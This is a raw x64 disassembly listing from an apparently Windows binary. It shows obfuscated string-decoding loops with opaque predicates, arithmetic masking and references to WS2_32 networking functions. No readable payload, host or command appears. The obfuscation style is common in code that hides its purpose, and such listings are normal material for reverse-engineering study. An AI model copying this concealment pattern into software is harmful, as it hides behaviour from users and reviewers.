add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140189db3
lea rax, [rbp + 0x1780d07]
jmp 0x14018ac07
lea rax, [rbp + 0xda3c8b]
jmp 0x14018ac07
lea rax, [rbp + 0x2057]
mov qword [rbp + 0x1a8], rax
mov byte [rbp + 0x207a], 0xb9
mov byte [rbp + 0x207b], recvfrom
mov byte [rbp + 0x207c], 0x65
mov byte [rbp + 0x207d], 0xf3
mov byte [rbp + 0x207e], 0x55
mov byte [rbp + 0x207f], 0xf1
mov byte [rbp + 0x2080], 0x60
mov byte [rbp + 0x2081], 0xf7
mov byte [rbp + 0x2082], 0x19
mov byte [rbp + 0x2083], 0xf5
mov byte [rbp + 0x2084], 0x3b
mov byte [rbp + 0x2085], 0xfb
mov byte [rbp + 0x2086], 0x53
mov byte [rbp + 0x2087], 0xf9
mov byte [rbp + 0x2088], 0x5b
mov byte [rbp + 0x2089], 0xff
mov byte [rbp + 0x208a], WSASetLastError
mov byte [rbp + 0x208b], 0xfd
mov byte [rbp + 0x208c], 0x76
mov byte [rbp + 0x208d], 0xe3
mov byte [rbp + 0x208e], 0xe0
mov byte [rbp + 0x208f], 0xe1
xor eax, eax
mov qword [rbp + 0x2090], rax
mov dword [rbp + 0x2098], eax
mov byte [rbp + 0x209c], al
movabs r13, 0x971019616099cfe
movabs r12, 0xd79d951cb2503ee
movzx r11d, byte [rbp + 0x5d00]
nop dword [rax]
mov r9, qword [0x1404e9d00]
mov r8, qword [0x1404e9cf8]
nop
xor edi, edi
movabs rdx, 0x205bdc7df7383dea
movabs rcx, 0xc645214fcec9e0d6
cmp rdi, 0x23
jae 0x14018b9f9
movzx r10d, byte [rbp + rdi + 0x207a]
mov rbx, r10
nop dword [rax]
cmp r9, rdi
ja 0x14018b9f0
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14018ad56
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0xe
movabs rcx, 0xc645214fcec9e0d6
jmp 0x14018ada0
je 0x14018b95c
lea rax, [r8 + 2]
cmp r9, rax
je 0x14018b8bf
lea rax, [r8 + 4]
cmp r9, rax
je 0x14018b883
lea rax, [r8 + 5]
cmp r9, rax
je 0x14018b831
lea rax, [r8 + 6]
cmp r9, rax
je 0x14018b803
lea rax, [r8 + 2]
cmp r9, rax
je 0x14018b7ad
nop dword [rax]
cmp r8, rdi
ja 0x14018b9e7
lea rax, [r8 + 6]
cmp r9, rax
jae 0x14018add9
lea rdx, [rdi + rcx]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rdx, 0x205bdc7df7383dea
jmp 0x14018ae20
lea rax, [r8 + 1]
cmp r9, rax
je 0x14018b79c
lea rax, [r8 + 2]
cmp r9, rax
je 0x14018b76d
lea rax, [r8 + 5]
cmp r9, rax
je 0x14018b749
lea rax, [r8 + 7]
cmp r9, rax
je 0x14018b721
lea rax, [r8 + 9]
cmp r9, rax
je 0x14018b6fb
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14018b3ac
nop dword [rax]
lea rax, [r8 + 9]
cmp r9, rax
je 0x14018b398
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x14018b366
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x14018b337
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x14018b311
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x14018b2e5
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x14018b2c1
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x14018b29d
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x14018b275
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x14018b23f
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x14018ae30
lea r9, [r8 + 0x400]
lea r8, [r9 + 0x40]
lea rax, [r8 + 8]
cmp r9, rax
jb 0x14018b9be
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x14018b995
lea rax, [r8 + 9]
cmp r9, rax
jb 0x14018afee
lea rax, [r8 + 5]
cmp r9, rax
jb 0x14018afba
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x14018af93
lea rax, [r8 + 6]
cmp r9, rax
jb 0x14018b1df
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x14018b14d
lea r9, [r8 + 2]
lea r8, [r9 + 0x61]
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x14018b113
lea rax, [r8 + 3]
cmp r9, rax
ja 0x14018b0ea
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x14018b0c6
lea rax, [r8 + 4]
cmp r9, rax
ja 0x14018b0a1
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x14018b079
lea rax, [r8 + 5]
cmp r9, rax
ja 0x14018b055
lea rax, [r8 + 2]
cmp r9, rax
ja 0x14018b02b
lea r9, [r8 + 0x10]
lea r8, [r9 + 4]
jmp 0x14018ae30
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0x66
add r11b, dl
movabs rdx, 0x205bdc7df7383dea
jmp 0x14018ae20
lea rdx, [rdi + r12]
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rcx, 0xc645214fcec9e0d6
movabs rdx, 0x205bdc7df7383dea
jmp 0x14018ada0
movabs rdx, 0xfa97d6259f11c9f2
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rcx, 0xc645214fcec9e0d6
movabs rdx, 0x205bdc7df7383dea
jmp 0x14018ad19
movabs rcx, 0xc6504261e2892b8
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
dec rdi
inc rdi
jmp 0x14018acf2
movabs rcx, 0xf98300f9f21558bc
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x24
jmp 0x14018b854
movabs rcx, 0xe6a0fdcdc6021ec0
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
add r9, r8
jmp 0x14018b8a6
movabs rcx, 0xd3befaa199eee4c4
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5c
jmp 0x14018b8a6
movabs rcx, 0xc0dcf7756ddbaac8
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x14018b8e2
movabs rdx, 0xadfaf44941c870cc
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, getservbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14018b912
movabs rdx, 0x9b18f11d15b536d0
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x207a]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14018acf2
movabs rdx, 0x461fe2d64f5eb1e2
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2e
add r11b, dl
cmp r9, 0x42
jae 0x14018b6ab
lea rax, [r8 + 9]
cmp r9, rax
jbe 0x14018b57f
movabs rdx, 0x63282130f14495c
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r8, 0x7a
jb 0x14018b69b
movabs rcx, 0xc306a1ccc7d48d34
add rcx, rdi
movzx eax, cl
and al, r10b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea r11d, [rdx + rdx]
jmp 0x14018b7d1
movabs rcx, 0x333ddfaa234b77e6
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4a
lea rax, [r8 + r9]
cmp rax, 0x64
je 0x14018b6db
lea rax, [r8 + 0xa]
cmp r9, rax
jbe 0x14018b4ce
movabs rdx, 0x3fed60c3404a6886
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x2b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14018b16d
movabs rcx, 0xa59ec7ded8bb4504
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x1c
movzx eax, byte [rbp + rdi + 0x207a]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14018acf2
movabs rdx, 0x92bcc4b2aca80b08
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x38
add r11b, dl
jmp 0x14018b912
movabs rcx, 0x7fdac1868094d10c
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x54
jmp 0x14018b8e2
movabs rcx, 0x6cf8be5a54819710
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x14018b8a6
movabs rdx, 0x5a16bb2e286e5d14
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r9, r8
jmp 0x14018b8a6
movabs rdx, 0x4734b801fc5b2318
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14018b851
movabs rdx, 0x3452b4d5d047e91c
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rdi
inc rdi
jmp 0x14018acf2
movabs rdx, 0x2170b1a9a434af20
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r8
dec rdi
inc rdi
jmp 0x14018acf2
movabs rdx, 0xe8eae7d78217524
mov ecx, 2
jmp 0x14018b7bc
lea rax, [r8 + 0x1000]
cmp r9, rax
jae 0x14018b3d8
lea rdx, [rdi + r13]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14018b1fe
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14018b407
movabs rdx, 0x8c8a429f9d93c1ac
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14018b97c
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14018b434
movabs rcx, 0xb24e48f7f5ba35a4
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7c
jmp 0x14018b8e2
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14018b461
movabs rcx, 0xc5304c2421cd6fa0
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
jmp 0x14018b8a6
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14018b48f
movabs rdx, 0xeaf4527c79f3e398
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x28
jmp 0x14018b851
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14018b1fe
movabs rdx, 0x10b858d4d21a5790
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r8
dec rdi
inc rdi
jmp 0x14018acf2
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14018b4eb
movabs rdx, 0x52cf63ef6c5da282
mov ecx, 0x39
jmp 0x14018b7bc
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14018b51e
movabs rcx, 0x78936a47c484167a
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x56
dec rdi
inc rdi
jmp 0x14018acf2
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14018b54c
movabs rcx, 0xb13973cc48bdc46e
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 2
jmp 0x14018b8a6
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14018b170
movabs rdx, 0xe9df7d50ccf77262
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x29
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14018b97c
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14018b5bd
movabs rcx, 0x1914853f3b278358
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
movzx eax, byte [rbp + rdi + 0x207a]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14018acf2
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14018b5f2
movabs rdx, 0x649c91efeb746b48
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
add r9, r8
jmp 0x14018b8a6
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14018b624
movabs rdx, 0x777e951c1787a544
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14018b854
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14018b65c
movabs rdx, 0x8a609848439adf40
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rdi
inc rdi
jmp 0x14018acf2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14018b1ab
movabs rdx, 0x9d429b746fae193c
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x2e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r8
dec rdi
inc rdi
jmp 0x14018acf2
mov byte [rbp + rdi + 0x207a], r11b
inc rdi
jmp 0x14018acf2
movabs rdx, 0xd5e8a4f8f3e7c730
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rdi + 0x207a]
sub r11b, al
sub r11b, 0x50
add r11b, dl
add r11b, r10b
jmp 0x14018b854
movabs rcx, 0xe8caa8251ffb012c
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [rcx - 0x34]
jmp 0x14018b8e2
movabs rdx, 0x70373ddd5b76eab2
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14018b97c
movabs rdx, 0x4a733785035076ba
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x16
add r11b, dl
jmp 0x14018b8e2
movabs rcx, 0x37913458d73d3cbe
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x32
jmp 0x14018b8a6
movabs rdx, 0xfeeb2ad453038eca
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x14018acf2
movabs rdx, 0xd927247bfadd1ad2
mov ecx, 0x21
jmp 0x14018b7bc
movabs rdx, 0xb3631e23a2b6a6da
mov ecx, 5
add rdx, rdi
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rcx, 0xcc77a362ddde2a32
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x5e
add cl, r10b
mov byte [rbp + rdi + 0x207a], cl
inc r8
dec rdi
inc rdi
jmp 0x14018acf2
movabs rcx, 0xa0811af776a36cde
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x12
inc r8
dec rdi
inc rdi
jmp 0x14018acf2
movabs rdx, 0x7abd149f1e7cf8e6
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4a
add r11b, dl
movabs rdx, 0xdf59a68f09f1642e
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x42
add cl, dl
add cl, r10b
mov byte [rbp + rdi + 0x207a], cl
add r9, r8
jmp 0x14018b8a6
movabs rdx, 0x54f90e46c65684ee
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14018acf2
mov r10, rbx
movabs rcx, 0x42170b1a9a434af2
add rcx, rdi
and bl, cl
mov eax, gethostbyaddr
sub al, bl
lea r11d, [rax + rax]
add r11b, r10b
add r11b, cl
movabs rcx, 0xf23ba9bb36049e2a
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x26
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x207a], al
inc r8
add rax, r8
sub rdi, rax
movabs rcx, 0xfbacab514c0e3b28
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x18
add cl, r10b
mov byte [rbp + rdi + 0x207a], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0x207a]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14018acf2
movabs rdx, 0x1c5304c2421cd6fa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x207a]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14018acf2
movabs rdx, 0xe7b5d2f972fe8ff6
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x23
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14018acee
movabs rdx, 0xd4d3cfcd46eb55fa
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14018acd9
lea rdx, [rbp + 0x1759b22]
jmp 0x14018ba00
lea rdx, [rbp + 0xbf3820]
jmp 0x14018ba00
lea rdx, [rbp + 0x207a]
lea rcx, [rbp + 0x18d0]
call fcn.14013e790
nop
lea r8, [rbp + 0x1a8]
lea rdx, [rbp + 0x18d0]
mov rcx, rsi
call fcn.1401a5f10
nop
lea rcx, [rbp + 0x18d0]
call fcn.14013e780
lea rcx, [rbp + 0x1b0]
call fcn.14015a930
mov rbx, rax
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0x720]
call fcn.14015d390
mov r9, rbx
mov r8, rax
lea rdx, [rbp + 0x730]
lea rcx, [rbp + 0x700]
call fcn.1401e8d40
nop
lea r8, [rbp - 0x42]
lea rdx, [rbp + 0x740]
mov rcx, rax
call fcn.1401a6150
mov rbx, rax
mov r9, r14
lea r8, [rbp - 0x44]
lea rdx, [rbp + 0x1870]
lea rcx, [rbp + 0xa20]
call fcn.14015d450
mov r8, rax
lea rdx, [rbp + 0x750]
mov rcx, rbx
call fcn.1401a64b0
nop
mov rcx, rax
call fcn.14015c4b0
nop
lea rcx, [rbp + 0x750]
call fcn.140157830
nop
lea rcx, [rbp + 0x740]
call fcn.140157830
nop
lea rcx, [rbp + 0x730]
call fcn.140157830
nop
lea rcx, [rbp + 0x1b0]
call fcn.14015a940
movabs rcx, 0x4417824b32dec2f5
movabs rdx, 0x85c02da899dad9ab
movabs rsi, 0xb007150f274bbae9
movabs r12, 0xeadc8c4cb9478f61
movabs r13, 0xda4dfc75b4bc9c27
cmp byte [rbp - 0x44], 0
je 0x14018c7e4
mov byte [rbp + 0xc21], 0x8d
mov byte [rbp + 0xc22], 0x7b
mov byte [rbp + 0xc23], 0x7a
mov byte [rbp + 0xc24], WSACleanup
mov byte [rbp + 0xc25], 0x7c
mov byte [rbp + 0xc26], 0xc1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc27], xmm0
mov dword [rbp + 0xc37], eax
mov byte [rbp + 0xc3b], al
movzx r11d, byte [rbp + 0x5d00]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor edi, edi
cmp rdi, 0x1b
jae 0x14018c7cf
movzx ebx, byte [rbp + rdi + 0xc21]
mov r10, rbx
cmp r8, rdi
ja 0x14018c7b7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14018bbdd
lea rcx, [rdi + r12]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x59
movabs rcx, 0x4417824b32dec2f5
jmp 0x14018bc10
je 0x14018c6fc
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018c674
lea rax, [r9 + 5]
cmp r8, rax
je 0x14018c611
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018c5c6
nop word [rax + rax]
cmp r9, rdi
ja 0x14018c79f
lea rax, [r9 + 9]
cmp r8, rax
jae 0x14018bc46
lea rdx, [rdi + rcx]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add dl, 0x4d
add r11b, dl
movabs rdx, 0x85c02da899dad9ab
jmp 0x14018bc93
lea rax, [r9 + 1]
cmp r8, rax
je 0x14018c5a3
inc rax
cmp r8, rax
je 0x14018c57a
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018c554
lea rax, [r9 + 5]
cmp r8, rax
je 0x14018c531
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018c50d
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018c4e6
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14018c1f8
lea rax, [r9 + 1]
cmp r8, rax
je 0x14018c1d0
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14018c1a7
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14018c181
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14018c159
lea rax, [r9 + 6]
cmp r8, rax
je 0x14018c131
lea rcx, [r9 + 8]
cmp r8, rcx
je 0x14018c109
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018c0e6
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14018bca0
mov r8, rcx
lea r9, [rcx + 0x200]
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x14018c772
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x14018c745
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x14018be65
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x14018be41
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x14018be1b
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x14018c08a
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x14018c00c
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x14018bfe1
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x14018bca0
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14018bfbe
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14018bf9b
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14018bf73
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14018bf50
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14018bf2d
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14018bf05
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14018beda
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add dl, 0x53
add r11b, dl
movabs rdx, 0x85c02da899dad9ab
jmp 0x14018bc93
lea rcx, [rdi + rsi]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5f
movabs rcx, 0x4417824b32dec2f5
jmp 0x14018bc10
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x11
movabs rcx, 0x4417824b32dec2f5
jmp 0x14018bba4
movabs rdx, 0x9f90c88d3f48bb62
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x29
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14018c633
movabs rcx, 0xc9d7aff3ccb99ca0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x14018c65b
movabs rcx, 0xf41e975a5a2a7dde
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x12
jmp 0x14018c65e
movabs rdx, 0x1e657ec0e79b5f1c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x1e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14018c69a
movabs rcx, 0x48ac6627750c405a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x76
jmp 0x14018c6c8
movabs rcx, 0x72f34d8e027d2198
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x14018c71b
movabs rcx, 0xdca4900e641754b3
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x1b
mov byte [rbp + rdi + 0xc21], r11b
jmp 0x14018c729
movabs rcx, 0x31325edb7ef9172f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x49
cmp r8, 0x40
jae 0x14018c48c
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x14018c3ce
movabs rcx, 0x3aa4f09358ebed12
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7e
cmp r9, 5
jb 0x14018bfff
movabs rcx, 0x93dfe691d28320a6
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x14]
jmp 0x14018c5e4
movabs rcx, 0x5b7946420c69f86d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 5
lea rax, [r9 + r8]
cmp rax, 0x61
je 0x14018c4bc
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x14018c30e
movabs rcx, 0xf68d6e48260d2a1d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x35
jmp 0x14018c02a
movabs rcx, 0x988d0dc3313891be
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x32
jmp 0x14018c71b
movabs rdx, 0xc2d3f529bea972fc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14018c6c8
movabs rdx, 0x41a8ab5d66fc16b6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14018c65b
movabs rdx, 0x6bef92c3f46cf7f4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x2a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14018c633
movabs rcx, 0x96367a2a81ddd932
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
dec rdi
jmp 0x14018c729
movabs rcx, 0xc07d61910f4eba70
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
inc r9
dec rdi
jmp 0x14018c729
movabs rdx, 0xeac448f79cbf9bae
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x1f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14018c5e4
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x14018c21b
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
